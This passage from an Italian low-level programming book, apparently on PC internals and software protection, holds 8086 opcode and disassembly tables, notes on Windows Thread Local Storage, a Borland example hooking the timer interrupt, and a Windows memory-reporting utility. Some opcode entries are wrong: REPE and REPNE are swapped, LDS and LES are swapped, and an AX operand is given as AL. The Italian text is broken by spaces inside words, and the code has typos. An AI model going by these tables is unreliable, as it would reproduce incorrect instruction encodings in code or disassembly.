ADC rm8,i8 80 /2 ib
ADC rm16,i8 83 /2 ib
ADC rm16,i16 81 /2 iw
ADD AL,i8 04 ib
ADD AX,i16 05 iw
ADD r8,rm8 02 /r
ADD r16,rm16 03 /r
ADD rm8,r8 00 /r
ADD rm16,r16 01 /r
ADD rm8,i8 80 /0 ib
ADD rm16,i8 83 /0 ib
ADD rm16,i16 81 /0 iw
AND AL,i8 24 ib
AND AX,i16 25 iw
AND r8,rm8 22 /r
AND r16,rm16 23 /r
AND rm8,r8 20 /r
AND rm16,r16 21 /r
AND rm8,i8 80 /4 ib
AND rm16,i8 83 /4 ib
AND rm16,i16 81 /4 iw
BOUND r16,m16&16 62 /r
CALL rel16 E8 cw
CALL FAR ptr16:16 9A cd
CALL rm16 FF /2
CALL FAR m16:16 FF /3
CBW 98
CLC F8
CLD FC
CLI FA
CMC F5
CMP AL,i8 3C ib

CMP AX,i16 3D iw
CMP r8,rm8 3A /r
CMP r16,rm16 3B /r
CMP rm8,r8 38 /r
CMP rm16,r16 39 /r
CMP rm8,i8 80 /7 ib
CMP rm16,i8 83 /7 ib
CMP rm16,i16 81 /7 iw
CMPSB A6
CMPSW A7
CWD 99
DAA 27
DAS 2F
DEC r16 48+rw
DEC rm8 FE /1
DEC rm16 FF /1
DIV rm8 F6 /6
DIV rm16 F7 /6
ENTER i16,i8 C8 iw ib
HLT F4
IDIV rm8 F6 /7
IDIV rm16 F7 /7
IMUL rm8 F6 /5
IMUL rm16 F7 /5
IMUL r16,rm16,i16 69 iw
IMUL r16,rm16,i8 6B ib
IN AL,DX EC
IN AX,DX ED
IN AL,i8 E4 ib
IN AX,i8 E5 ib
INC r16 40+rw
INC rm8 FE /0
INC rm16 FF /0
INSB 6C
INSW 6D
INT 3 (Breakpoint) CC
INT i8 CD ib
INTO CE
IRET CF
JA rel8 77 cb
JAE rel8 73 cb
JB rel8 72 cb
JBE rel8 76 cb
JC rel8 72 cb
JCXZ rel8 E3 cb
JE rel8 74 cb

JG rel8 7F cb
JGE rel8 7D cb
JL rel8 7C cb
JLE rel8 7E cb
JNA rel8 76 cb
JNAE rel8 72 cb
JNB rel8 73 cb
JNBE rel8 77 cb
JNC rel8 73 cb
JNE rel8 75 cb
JNG rel8 7E cb
JNGE rel8 7C cb
JNL rel8 7D cb
JNLE rel8 7F cb
JNO rel8 71 cb
JNP rel8 7B cb
JNS rel8 79 cb
JNZ rel8 75 cb
JO rel8 70 cb
JP rel8 7A cb
JPE rel8 7A cb
JPO rel8 7B cb
JS rel8 78 cb
JZ rel8 74 cb
JMP rel16 E9 cw
JMP ptr16:16 EA cd
JMP rel8 EB cb
JMP rm16 FF /4
JMP FAR m16:16 FF /5
LAHF 9F
LDS r16,m16:16 C4 /r
LEA r16,rm16 8D /r
LEAVE C9
LES r16,m16:16 C5 /r
LOCK F0
LODSB AC
LODSW AD
LOOP rel8 E2 cb
LOOPE rel8 E1 cb
LOOPNE rel8 E0 cb
LOOPNZ rel8 E0 cb
LOOPZ rel8 E1 cb
MOV r8,i8 B0+rb ib
MOV r16,i16 B8+rw iw
MOV AL,m8 A0 iw
MOV AX,m16 A1 iw

MOV m8,AL A2 iw
MOV m16,AX A3 iw
MOV r8,rm8 8A /r
MOV r16,rm16 8B /r
MOV rm8,r8 88 /r
MOV rm16,r16 89 /r
MOV rm8,i8 C6 /0 ib
MOV rm16,i16 C7 /0 iw
MOV r16,segreg 8C /r
MOV segreg,r16 8E /r
MOVSB A4
MOVSW A5
MUL rm8 F6 /4
MUL rm16 F7 /4
NEG rm8 F6 /3
NEG rm16 F7 /3
NOP 90
NOT rm8 F6 /2
NOT rm16 F7 /2
OR AL,i8 0C ib
OR AX,i16 0D iw
OR r8,rm8 0A /r
OR r16,rm16 0B /r
OR rm8,r8 08 /r
OR rm16,r16 09 /r
OR rm8,i8 80 /1 ib
OR rm16,i8 83 /1 ib
OR rm16,i16 81 /1 iw
OUT DX,AL EE
OUT DX,AX EF
OUT i8,AL E6 ib
OUT i8,AX E7 iw
OUTSB 6E
OUTSW 6F
POP r16 58+rw
POP rm16 8F /0 iw
POP DS 1F
POP ES 07
POP SS 17
POPA 61
POPF 9D
PUSH r16 50+rw
PUSH rm16 FF /6
PUSH i8 6A ib
PUSH i16 68 iw
PUSH CS 0E

PUSH DS 1E
PUSH ES 06
PUSH SS 16
PUSHA 60
PUSHF 9C
RCL rm8,1 D0 /2
RCL rm16,1 D1 /2
RCL rm8,CL D2 /2
RCL rm16,CL D3 /2
RCL rm8,i8 C0 /2 ib
RCL rm16,i8 C1 /2 ib
RCR rm8,1 D0 /3
RCR rm16,1 D1 /3
RCR rm8,CL D2 /3
RCR rm16,CL D3 /3
RCR rm8,i8 C0 /3 ib
RCR rm16,i8 C1 /3 ib
REP F3
REPE F2
REPNE F3
RET i16 C2 iw
RET C3
RETF i16 CA iw
RETF CB
ROL rm8,1 D0 /0
ROL rm16,1 D1 /0
ROL rm8,CL D2 /0
ROL rm16,CL D3 /0
ROL rm8,i8 C0 /0 ib
ROL rm16,i8 C1 /0 ib
ROR rm8,1 D0 /1
ROR rm16,1 D1 /1
ROR rm8,CL D2 /1
ROR rm16,CL D3 /1
ROR rm8,i8 C0 /1 ib
ROR rm16,i8 C1 /1 ib
SAHF 9E
SAL rm8,1 D0 /4
SAL rm16,1 D1 /4
SAL rm8,CL D2 /4
SAL rm16,CL D3 /4
SAL rm8,i8 C0 /4 ib
SAL rm16,i8 C1 /4 ib
SAR rm8,1 D0 /7
SAR rm16,1 D1 /7
SAR rm8,CL D2 /7

SAR rm16,CL D3 /7
SAR rm8,i8 C0 /7 ib
SAR rm16,i8 C1 /7 ib
SBB AL,i8 1C ib
SBB AX,i16 1D iw
SBB r8,rm8 1A /r
SBB r16,rm16 1B /r
SBB rm8,r8 18 /r
SBB rm16,r16 19 /r
SBB rm8,i8 80 /3 ib
SBB rm16,i8 83 /3 ib
SBB rm16,i16 81 /3 iw
SCASB AE
SCASW AF
SEGCS 2E
SEGDS 3E
SEGES 26
SEGSS 36
SETALC D6
SHL rm8,1 D0 /4
SHL rm16,1 D1 /4
SHL rm8,CL D2 /4
SHL rm16,CL D3 /4
SHL rm8,i8 C0 /4 ib
SHL rm16,i8 C1 /4 ib
SHR rm8,1 D0 /5
SHR rm16,1 D1 /5
SHR rm8,CL D2 /5
SHR rm16,CL D3 /5
SHR rm8,i8 C0 /5 ib
SHR rm16,i8 C1 /5 ib
STC F9
STD FD
STI FB
STOSB AA
STOSW AB
SUB AL,i8 2C ib
SUB AX,i16 2D iw
SUB r8,rm8 2A /r
SUB r16,rm16 2B /r
SUB rm8,r8 28 /r
SUB rm16,r16 29 /r
SUB rm8,i8 80 /5 ib
SUB rm16,i8 83 /5 ib
SUB rm16,i16 81 /5 iw
TEST AL,i8 A8 ib

TEST AL,i16 A9 iw
TEST rm8,r8 84 /r
TEST rm16,r16 85 /r
TEST rm8,i8 F6 /0 ib
TEST rm16,i16 F7 /0 iw
WAIT 9B
XCHG AX,r16 90+rw
XCHG r8,rm8 86 /r
XCHG rm8,r8 86 /r
XCHG r16,rm16 87 /r
XCHG rm16,r16 87 /r
XLATB D7
XOR AL,i8 34 ib
XOR AX,i16 35 iw
XOR r8,rm8 32 /r
XOR r16,rm16 33 /r
XOR rm8,r8 30 /r
XOR rm16,r16 31 /r
XOR rm8,i8 80 /6 ib
XOR rm16,i8 83 /6 ib
XOR rm16,i16 81 /6 iw


---* THE DISASSEMBLY TABLE -- IN HEX *---

Opcode Data Instruction Opcode Data Instruction

00 /r ADD rm8,r8
01 /r ADD rm16,r16
02 /r ADD r8,rm8
03 /r ADD r16,rm16
04 ib ADD AL,i8
05 iw ADD AX,i16
06 -- PUSH ES
07 -- POP ES
08 /r OR rm8,r8
09 /r OR rm16,r16
0A /r OR r8,rm8
0B /r OR r16,rm16
0C ib OR AL,i8
0D iw OR AX,i16
0E -- PUSH CS
0F (??) (386 - indicates extended
opcode)
10 /r ADC rm8,r8
11 /r ADC rm16,r16
12 /r ADC r8,rm8
13 /r ADC r16,rm16
14 ib ADC AL,i8
15 iw ADC AX,i16
16 -- PUSH SS
17 -- POP SS
18 /r SBB rm8,r8
19 /r SBB rm16,r16
1A /r SBB r8,rm8
1B /r SBB r16,rm16
1C ib SBB AL,i8
1D iw SBB AX,i16
1E -- PUSH DS
1F -- POP DS
20 /r AND rm8,r8
21 /r AND rm16,r16
22 /r AND r8,rm8
23 /r AND r16,rm16
24 ib AND AL,i8
25 iw AND AX,i16
26 [Prefix] ES: override
27 -- DAA
28 /r SUB rm8,r8
29 /r SUB rm16,r16
2A /r SUB r8,rm8
2B /r SUB r16,rm16

2C ib SUB AL,i8
2D iw SUB AX,i16
2E [Prefix] CS: override
2F -- DAS
30 /r XOR rm8,r8
31 /r XOR rm16,r16
32 /r XOR r8,rm8
33 /r XOR r16,rm16
34 ib XOR AL,i8
35 iw XOR AX,i16
36 [Prefix] SS: override
37 -- AAA
38 /r CMP rm8,r8
39 /r CMP rm16,r16
3A /r CMP r8,rm8
3B /r CMP r16,rm16
3C ib CMP AL,i8
3D iw CMP AX,i16
3E [Prefix] DS: override
3F -- AAS
40+rw -- INC r16
48+rw -- DEC r16
50+rw -- PUSH r16
58+rw -- POP r16
60 -- PUSHA
61 -- POPA
62 /r BOUND r16,m16&16
63 (??) (286 instruction: ARPL)
64-67 (??) (386 prefix bytes)
68 iw PUSH i16
69 /r iw IMUL r16,rm16,i16
69 /r iw IMUL r16,i16
6A ib PUSH i8
6B /r ib IMUL r16,rm16,i8
6B /r ib IMUL r16,i8
6C -- INSB
6D -- INSW
6E -- OUTSB
6F -- OUTSW
70 cb JO rel8
71 cb JNO rel8
72 cb JB rel8
73 cb JAE rel8
74 cb JZ rel8
75 cb JNZ rel8
76 cb JBE rel8

77 cb JA rel8
78 cb JS rel8
79 cb JNS rel8
7A cb JPE rel8
7B cb JPO rel8
7C cb JL rel8
7D cb JGE rel8
7E cb JLE rel8
7F cb JG rel8
80 /0 /r ib ADD rm8,i8
80 /1 /r ib OR rm8,i8
80 /2 /r ib ADC rm8,i8
80 /3 /r ib SBB rm8,i8
80 /4 /r ib AND rm8,i8
80 /5 /r ib SUB rm8,i8
80 /6 /r ib XOR rm8,i8
80 /7 /r ib CMP rm8,i8
81 /0 /r iw ADD rm16,i16
81 /1 /r iw OR rm16,i16
81 /2 /r iw ADC rm16,i16
81 /3 /r iw SBB rm16,i16
81 /4 /r iw AND rm16,i16
81 /5 /r iw SUB rm16,i16
81 /6 /r iw XOR rm16,i16
81 /7 /r iw CMP rm16,i16
82 /0 /r ib ADD rm8,i8
82 /1 /r ib OR rm8,i8
82 /2 /r ib ADC rm8,i8
82 /3 /r ib SBB rm8,i8
82 /4 /r ib AND rm8,i8
82 /5 /r ib SUB rm8,i8
82 /6 /r ib XOR rm8,i8
82 /7 /r ib CMP rm8,i8
83 /0 /r ib ADD rm16,i8
83 /1 /r ib OR rm16,i8
83 /2 /r ib ADC rm16,i8
83 /3 /r ib SBB rm16,i8
83 /4 /r ib AND rm16,i8
83 /5 /r ib SUB rm16,i8
83 /6 /r ib XOR rm16,i8
83 /7 /r ib CMP rm16,i8
84 /r TEST rm8,r8
85 /r TEST rm16,r16
86 /r XCHG rm8,r8
86 /r XCHG r8,rm8
87 /r XCHG rm16,r16

87 /r XCHG r16,rm16
88 /r MOV rm8,r8
89 /r MOV rm16,r16
8A /r MOV r8,rm8
8B /r MOV r16,rm16
8C /r MOV rm16,segreg
8D /r LEA r16,rm16
8E /r MOV segreg,rm16
8F /0 iw POP rm16
8F /1-7 (??) (Not an instruction)
90 -- NOP
90+rw -- XCHG AX,r16
98 -- CBW
99 -- CWD
9A cd CALL FAR ptr16:16
9B -- WAIT
9C -- PUSHF
9D -- POPF
9E -- SAHF
9F -- LAHF
A0 iw MOV AL,m8
A1 iw MOV AX,m16
A2 iw MOV m8,AL
A3 iw MOV m16,AX
A4 -- MOVSB
A5 -- MOVSW
A6 -- CMPSB
A7 -- CMPSW
A8 ib TEST AL,i8
A9 iw TEST AL,i16
AA -- STOSB
AB -- STOSW
AC -- LODSB
AD -- LODSW
AE -- SCASB
AF -- SCASW
B0+rb ib MOV r8,i8
B8+rw iw MOV r16,i16
C0 /0 /r ib ROL rm8,i8
C0 /1 /r ib ROR rm8,i8
C0 /2 /r ib RCL rm8,i8
C0 /3 /r ib RCR rm8,i8
C0 /4 /r ib SHL rm8,i8
C0 /5 /r ib SHR rm8,i8
C0 /6 /r ib SHL rm8,i8
C0 /7 /r ib SAR rm8,i8

C1 /0 /r ib ROL rm16,i8
C1 /1 /r ib ROR rm16,i8
C1 /2 /r ib RCL rm16,i8
C1 /3 /r ib RCR rm16,i8
C1 /4 /r ib SHL rm16,i8
C1 /5 /r ib SHR rm16,i8
C1 /6 /r ib SHL rm16,i8
C1 /7 /r ib SAR rm16,i8
C2 iw RET i16
C3 -- RET
C4 /r LDS r16,m16:16
C5 /r LES r16,m16:16
C6 /0 /r ib MOV rm8,i8
C6 /1-7 (??) (Not an instruction)
C7 /0 /r iw MOV rm16,i16
C7 /1-7 (??) (Not an instruction)
C8 iw ib ENTER i16,i8
C9 -- LEAVE
CA iw RETF i16
CB -- RETF
CC -- INT 3 (Breakpoint)
CD ib INT i8
CE -- INTO
CF -- IRET
D0 /0 /r ROL rm8,1
D0 /1 /r ROR rm8,1
D0 /2 /r RCL rm8,1
D0 /3 /r RCR rm8,1
D0 /4 /r SHL rm8,1
D0 /5 /r SHR rm8,1
D0 /6 /r SHL rm8,1
D0 /7 /r SAR rm8,1
D1 /0 /r ROL rm16,1
D1 /1 /r ROR rm16,1
D1 /2 /r RCL rm16,1
D1 /3 /r RCR rm16,1
D1 /4 /r SHL rm16,1
D1 /5 /r SHR rm16,1
D1 /6 /r SHL rm16,1
D1 /7 /r SAR rm16,1
D2 /0 /r ROL rm8,CL
D2 /1 /r ROR rm8,CL
D2 /2 /r RCL rm8,CL
D2 /3 /r RCR rm8,CL
D2 /4 /r SHL rm8,CL
D2 /5 /r SHR rm8,CL
D2 /6 /r SHL rm8,CL
D2 /7 /r SAR rm8,CL

D3 /0 /r ROL rm16,CL
D3 /1 /r ROR rm16,CL
D3 /2 /r RCL rm16,CL
D3 /3 /r RCR rm16,CL
D3 /4 /r SHL rm16,CL
D3 /5 /r SHR rm16,CL
D3 /6 /r SHL rm16,CL
D3 /7 /r SAR rm16,CL
D4 0A AAM
D4 ib AAM i8 (undocumented)
D5 0A AAD
D5 ib AAD i8 (undocumented)
D6 -- SETALC (undocumented)
D7 -- XLATB
D8-DF (??) (FPU instructions)
E0 cb LOOPNZ rel8
E1 cb LOOPZ rel8
E2 cb LOOP rel8
E3 cb JCXZ rel8
E4 ib IN AL,i8
E5 ib IN AX,i8
E6 ib OUT i8,AL
E7 ib OUT i8,AX
E8 cw CALL rel16
E9 cw JMP rel16
EA cd JMP ptr16:16
EB cb JMP rel8
EC -- IN AL,DX
ED -- IN AX,DX
EE -- OUT DX,AL
EF -- OUT DX,AX
F0 [Prefix] LOCK
F1 ?? (apparently unused)
F2 [Prefix] REPE
F3 [Prefix] REPNE
F4 -- HLT
F5 -- CMC
F6 /0 ib TEST rm8,i8
F6 /1 ib TEST rm8,i8
(undocumented)
F6 /2 /r NOT rm8
F6 /3 /r NEG rm8
F6 /4 /r MUL rm8
F6 /5 /r IMUL rm8
F6 /6 /r DIV rm8
F6 /7 /r IDIV rm8
F7 /0 iw TEST rm16,i16

F7 /1 iw TEST rm16,i16
(undocumented)
F7 /2 /r NOT rm16
F7 /3 /r NEG rm16
F7 /4 /r MUL rm16
F7 /5 /r IMUL rm16
F7 /6 /r DIV rm16
F7 /7 /r IDIV rm16
F8 -- CLC
F9 -- STC
FA -- CLI
FB -- STI
FC -- CLD
FD -- STD
FE /0 /r INC rm8
FE /1 /r DEC rm8
FE /2-7 (??) (Not an instruction)
FF /0 /r INC rm16
FF /1 /r DEC rm16
FF /2 /r CALL rm16
FF /3 /r CALL FAR m16:16
FF /4 /r JMP rm16
FF /5 /r JMP FAR m16:16
FF /6 /r PUSH rm16
FF /7 (??) (Not an instruction)
Pagina 346 di 991

Pagina 347 di 991
INFORMAZIONI VARIE


Al cune not e possono esser e por t at e i n r el azi one al l i ndi r i zzament o di memor i a i n
f unzi one del si st ema oper at i vo usat o.
Par l ando pr i ma di i ndi r i zzament o di cevamo che nel caso dei 16 bi t s i segment i
er ano di 64 Kbyt es ment r e nel 32 bi t s si pot eva i ndi r i zzar e si no a 4 Gbyt es di
memor i a.
I n pr at i ca 2 Gbyt es dovr ebber o esser e i ndi r i zzat e dal pr ogr amma ment r e 2 da
si st ema oper at i vo.
Per veder e se un i ndi r i zzo di memor i a accessi bi l e possi bi l e ut i l i zzar e una
f unzi one C con un punt at or e set t at o al l i ndi r i zzo da t est ar e.

BOOL IsFirst64kInvalid(void)
{
BOOL bFirst64kInvalid = FALSE;

try {
*(char *)0x0000FFFF;
}
except (EXCEPTION_EXECUTE_HANDLER) {
if (EXCEPTION_ACCESS_VIOLATION == GetExceptionCode())
bFirst64kInvalid = TRUE;

}

return bFirst64kInvalid;
}


Sempr e i n r el azi one al l a memor i a al f i ne di nasconder e al cune i nf or mazi oni
spesso vengono usat e zone par t i col ar i .
Seguendo con i l debugger al cuni pr ogr ammi spesso si not at o chi amat e ad una ser i e
di f unzi oni che i ni zi ano per Tl s.
Che cosa sar ebbe quest o Tl s ?
Tl s st per Thr ead Local St or age ovver o una zona di memor i a l ocal e ai t hr eads di
un pr ocesso, nel qual e quest i possono sal vae i nf or mazi oni pr i vat e.
Esi st ono quat t r o f unzi oni che per met t ono l a gest i one di quest a memor i a.

TlsAlloc()
TlsGetValue()
TlsSetValue()
TlsFree()

La pr i ma f unzi one al l oca l a memor i a e r est i t ui sce un i ndi ce che pu esser e
ut i l i zzat o per acceder ci .
Quest o i ndi ce deve esser e sal vat o i n una var i abi l e gl obal e o st at i ca.
Ad esempi o :

TlsIndex = TlsAlloc();

al l oca l a memor i a e r est i t usce l i ndi ce sal vat o i n Tl sI ndex.
I l seguent e esempi o i nvece al oca di nami cament e 100 byt es e l i sal va nel l a TLS.

TlsSetValue(TlsIndex, malloc(100));

La f unzi one

TlsSetValue(TlsIndex, (LPVOID)hWnd);

sal va nel TLS l handl e ad una wi ndow gener i ca.
Ogni t hr ead di un pr ocesso possi ede i l suo TLS pr i vat o anche se di f at t o i l
t ut t o vi ene gest i t o da un sol o i ndi ce.
Pagina 348 di 991
Tl sAl l oc( ) pu esser e chi amat o una sol a vol t a per pr ocesso e r i ser va per ogni
t hr ead l a sua DWORD- si ze di memor i a pr i vat a.
Se l a f unzi one vi st a come esempi o pr ecedent ement e, r el at i va al sal vat aggi o
del l handl e del l a wi ndow, vi ene chi amat a dal t hr ead A, quest a acceder a ad una
zona di memor i a di f f er ent e da quel l a a cui si sar ebbe gi unt i se l a chi amat a
f osse st at a f at t a dal t hr ead B.
Pr i ma che l ul t i mo t hr ead t er mi ni si deve l i ber ar e l a memor i a di nami cament e
al l ocat a con :

free(TlsGetValu(TlsIndex)));

e successi vament e l i ber ar e l a memor i a TLS

if(!TlsFree(TlsIndex))
// handle errpor on TlsFree


INTERRUPT DI TIMER INT 8


Un i nt er r upt par t i col ar e cha ai t empi i n cui avevo scr i t t o i l vol ume sui TSR er a
i l f i or e al l occhi el l o per i si st emi mul t i t aski ng er al i nt er r upt di t i mer ovver o
l i nt 8.
Quest o veni va chi amat o un cer t o numer o di vol t e al secondo ( 18. 2) e pot eva
esser e sf r ut t at o per l a cr eazi one di r out i ne concor r ent i .
La scr i t t ur a pr et endeva si st emi par t i col ar i per f ar e i n modo che i pr ocessi
sof t war e agganci at i a quest o i nt er r upt non f osser o t r oppo i nvadent i o gr osse.
Sot t o Wi ndows i l concet t o par al l el o pot r ebbe esser e quel l o del messaggi o di
WM_TI MER.
I n pr at i ca possi bi l e scr i ver e una cer t a f unzi one ed agganci ar l a a quest o
i nt er r upt .
I pr ocessi che sono esegui t i ver r ebber o sospesi 18. 2 vol t e al secondo per
l anci ar e i l sof t war e set t at o.
I segeunt i modul i per met t ono l agganci o a quest o i nt er r upt i n ambi ent e a 32
bi t s.
Ri cor di amoci che quest o i net t r upt pot r ebbe esser e al l a base di si st emi
concor r ent i i ndi r i zzat i al l a pr ot ezi one del sof t war e.
Se al cuni br eakpoi nt sono basat i su r egi st r i har dwar e sar ebbe possi bi l e cr ear e
r out i ne concor r ent i che vadano a r omper e l e uova nel pani er e a cer t i sof t war e.
I l si st ema per l agganci o al l i nt 8 compost o da un modul o assembl er e da uno
C.



Isr32.c

#include <stdio.h>
#include <conio.h>

#ifndef __DPMI32__
#error Must be compiled for 32-bit DPMI. Use BCC32 -WX
#endif

#pragma inline

#define INTERRUPT 0x08

typedef unsigned char uchar;
typedef unsigned short ushort;
typedef unsigned long ulong;

struct fword {
Pagina 349 di 991
ulong offset;
ushort selector;
};

ulong ticks=0;

fword oldhandler;
unsigned short dataseg;

extern "C" void handler( void );

void setvect( uchar vector, ushort sel, ulong ofs ) {
asm {
push ds
push edx
push ax
mov edx,ofs
mov ax,sel
mov ds,ax
mov ah,0x25
mov al,vector
int 0x21
pop ax
pop edx
pop ds
}
}

void getvect( uchar vector, ushort *sel, ulong *ofs ) {
ushort tempsel;
ulong tempofs;
asm {
push es
mov ah,0x35
mov al,vector
int 0x21
mov ax,es
pop es
mov tempsel,ax
mov tempofs,ebx
}
*sel = tempsel;
*ofs = tempofs;
}

int main(void) {
// ushort sel;
// ulong ofs;

dataseg=_DS;

getvect( INTERRUPT, &oldhandler.selector, &oldhandler.offset );
printf("interrupt %02X was at %04X:%08lX\n",INTERRUPT,
oldhandler.selector,
oldhandler.offset );
setvect( INTERRUPT, _CS, (unsigned long)handler );
printf("new handler installed, press any key to quit\n");

while (!kbhit()) {
printf("%cTimer ticks: %lu",13,ticks);
}
printf("\n");
Pagina 350 di 991

printf("removing handler\n");
setvect( INTERRUPT, oldhandler.selector, oldhandler. offset );

return 0;
}

;
; TIMER32.ASM Assembly helper file for ISR32.CPP
;
; Copyright (c) 1994 by Borland International
; All Rights Reserved.
;
.386
.model flat,c

.data

extrn ticks:dword
extrn dataseg:word
extrn oldhandler:fword

.code

handler proc far
public handler

push ds
push eax
mov ds,cs:[dataseg]
mov eax,[ticks]
inc eax
mov [ticks],eax
pop eax
pop ds

jmp cs:fword ptr [oldhandler]

handler endp

end

timer32.mak

#############################################################################
# DPMI examples - (C) Copyright 1994 by Borland International
# All rights reserved
#----------------------------------------------------------------------------
# TIMER32.MAK - Example of hooking the hardware timer (int-8) in a DPMI32
# program.
#
#

timer32.exe : -etimer32.exe isr32.cpp timer32.asm
bcc32 -WX $**


RICAVARE LE INFORMAZIONI RELATIVE A TUTTA LA MEMORIA


Pagina 351 di 991
Par t endo dal l a memor i a f i si ca i nst al l at a possi amo r i cavar e t ut t e l e i nf or mazi oni
r el at i ve al l a memor i a HEAP, al l a memor i a vi r t ual e, al l a emassi ma di mensi one di
memor i a HEAP al l ocabi l e e cos vi a.
I l seguent e pr ogr amma most r a t ut t e l e i nf or mazi oni r el at i ve al l a memor i a.
Par t e del pr ogr amma i n C ment r e cer t e f unzi oni sono scr i t t e di r et t ament e i n
assembl er t r ami t e l e i st r uzi oni i nl i ne dei compi l at or i C.

Freemem2.c

#include <windows.h>
#include <toolhelp.h>
#include "freemem2.h"

// Reads the CMOS RAM to get the total installed memory
DWORD GetInstalledRAM(void)
{
__asm {

cli // Disable interrupts

// Read the base memory (in K) into BX
mov al, 15h // Tell the CMOS ram which byte we want to read
out 70h, al
in al, 71h // read in the byte from the CMOS ram
mov bl, al

mov al, 16h
out 70h, al
in al, 71h
mov bh, al

// Read the extended memory (in K) into AX
mov al, 18h
out 70h, al
in al, 71h
mov ah, al

mov al, 17h
out 70h, al
in al, 71h

sti // enable interrupts

xor dx, dx // add base + extended memory and put the
add ax, bx // result into DX:AX
adc dx, 0
}

// Ignore the compiler complaint about "function must return a value"
}

// Sum up the sizes of all the global heap blocks. If a non-zero pointer
// is passed as a parameter, store the size of the largest free block
// into that location.
DWORD GetGlobalHeapSize(DWORD *pLargestFree)
{
GLOBALENTRY ge;
DWORD size = 0;
BOOL fContinue;

if ( pLargestFree )
*pLargestFree = 0; // Initial largest free block is 0 bytes
Pagina 352 di 991

// Use TOOLHELP GlobalFirst/GlobalNext to walk the global heap
ge.dwSize = sizeof(ge);
fContinue = GlobalFirst(&ge, GLOBAL_ALL);
while ( fContinue )
{
size += ge.dwBlockSize; // Add blocksize to running total

// If the block is free, and larger than the previous largest
// free block, make it the new largest free block
if ( pLargestFree && (ge.wType == GT_FREE) )
if ( ge.dwBlockSize > *pLargestFree )
*pLargestFree = ge.dwBlockSize;

fContinue = GlobalNext(&ge, GLOBAL_ALL);
}

*pLargestFree /= 1024; // Convert bytes to K
return size / 1024;
}

// Fill in the dialog text controls that never vary (installed RAM, etc...)
void PaintConstantItems(HWND hWndDlg)
{
MEMMANINFO mmi;
DWORD size;
char buffer[128];

mmi.dwSize = sizeof(mmi);
MemManInfo(&mmi);

wsprintf(buffer, "Installed RAM: %ldk", GetInstalledRAM());
SetDlgItemText(hWndDlg, IDT_INSTALLED_RAM, buffer );

// check to see if the field is -1. If we didn't, we'd show -4K!
size = (mmi.dwTotalPages == -1) ? -1 : mmi.dwTotalPages * 4;
wsprintf(buffer, "Total Memory: %ldk", size);
SetDlgItemText(hWndDlg, IDT_TOTAL_MEMORY, buffer );

wsprintf(buffer, "Swap File Pages: %ldk", mmi.dwSwapFilePages * 4);
SetDlgItemText(hWndDlg, IDT_SWAP_FILE_PAGES, buffer );

size = (mmi.dwTotalLinearSpace == -1) ? -1 : mmi.dwTotalLinearSpace * 4;
wsprintf(buffer, "Linear Space: %ldk", size);
SetDlgItemText(hWndDlg, IDT_ADDRESS_SPACE, buffer );
}

// Fill in the dialog text controls that vary (largest free block, etc...)
void PaintVariableItems(HWND hWndDlg)
{
MEMMANINFO mmi;
DWORD largestFreeGlobalHeapBlock;
DWORD totalGlobalHeapSize;
char buffer[128];
DWORD size;

totalGlobalHeapSize = GetGlobalHeapSize(&largestFreeGlobalHeapBlock);
mmi.dwSize = sizeof(mmi);
MemManInfo(&mmi);

wsprintf( buffer, "Global Heap Total: %ldk", totalGlobalHeapSize);
SetDlgItemText(hWndDlg, IDT_GLOBAL_HEAP_TOTAL, buffer);
Pagina 353 di 991

wsprintf( buffer, "Largest Free Heap Block: %ldk",
largestFreeGlobalHeapBlock);
SetDlgItemText(hWndDlg, IDT_LARGEST_FREE_GLOBAL, buffer);

size = (mmi.dwMaxPagesLockable == -1) ? -1 : mmi.dwMaxPagesLockable * 4;
wsprintf( buffer, "Max Lockable Pages: %ldk", size);
SetDlgItemText(hWndDlg, IDT_MAX_LOCKABLE, buffer);

size = (mmi.dwFreePages == -1) ? -1 : mmi.dwFreePages * 4;
wsprintf( buffer, "Free Memory: %ldk", size);
SetDlgItemText(hWndDlg, IDT_TOTAL_FREE, buffer);

wsprintf( buffer, "Largest Free Block: %ldk", mmi.dwLargestFreeBlock/1024);
SetDlgItemText(hWndDlg, IDT_LARGEST_FREE, buffer);

size = (mmi.dwFreeLinearSpace == -1) ? -1 : mmi.dwFreeLinearSpace * 4;
wsprintf( buffer, "Free Linear Space: %ldk", size);
SetDlgItemText(hWndDlg, IDT_FREE_SPACE, buffer);
}

BOOL CALLBACK _export FreeMem2DlgProc(HWND hWndDlg, UINT msg,
WPARAM wParam, LPARAM lParam)
{
if ( msg == WM_INITDIALOG )
{
PaintConstantItems(hWndDlg);
PaintVariableItems(hWndDlg);
SetTimer( hWndDlg, 1, 5000, 0 ); // a 5 second timer
}
else if ( msg == WM_COMMAND )
{
if ( wParam == IDB_EXIT ) // Exit button pushed?
EndDialog(hWndDlg, 0);
}
else if ( msg == WM_TIMER ) // 5 seconds are up!
PaintVariableItems(hWndDlg);
else if ( msg == WM_CLOSE )
EndDialog(hWndDlg, 0); // User hit Close on the system menu

return FALSE;
}

int PASCAL WinMain( HANDLE hInstance, HANDLE hPrevInstance,
LPSTR lpszCmdLine, int nCmdShow )
{
DialogBox(hInstance, "FreeMem2Dlg", 0, FreeMem2DlgProc);
return 0;
}


I l seguent e i l f i l e . DEF

Freemem2.def

NAME 'FREEMEM2'
DESCRIPTION 'System Memory Utility - Matt Pietrek 1993'
EXETYPE WINDOWS
CODE PRELOAD MOVEABLE DISCARDABLE
DATA PRELOAD MOVEABLE MULTIPLE
STACKSIZE 5120
HEAPSIZE 5120
Pagina 354 di 991


Freemem2.h

#define IDB_EXIT 100
#define IDT_INSTALLED_RAM 101
#define IDT_GLOBAL_HEAP_TOTAL 102
#define IDT_LARGEST_FREE_GLOBAL 103
#define IDT_TOTAL_MEMORY 104
#define IDT_SWAP_FILE_PAGES 105
#define IDT_MAX_LOCKABLE 106
#define IDT_TOTAL_FREE 107
#define IDT_ADDRESS_SPACE 108
#define IDT_FREE_SPACE 109
#define IDT_LARGEST_FREE 110


I l f i l e . mak

Freemem2.mak

PROJNAME = FREEMEM2

$(PROJNAME).exe: $(PROJNAME).obj $(PROJNAME).res
link /ON:N /A:16 $(PROJNAME).obj, $(PROJNAME), , \
LIBW.LIB TOOLHELP.LIB SLIBCEW.LIB,$(PROJNAME).def
RC $(PROJNAME).res $(PROJNAME).exe

$(PROJNAME).obj: $(PROJNAME).c $(PROJNAME).h
CL /W3 /GAs /G2 /c /Zi $(PROJNAME).c

$(PROJNAME).res: $(PROJNAME).rc
RC -R -FO $(PROJNAME).res $(PROJNAME).rc

I l f i l e del l e r i sor se.

Freemem2.rc

#include <windows.h>
#include "freemem2.h"

FreeMem2Dlg DIALOG 19, 61, 305, 76
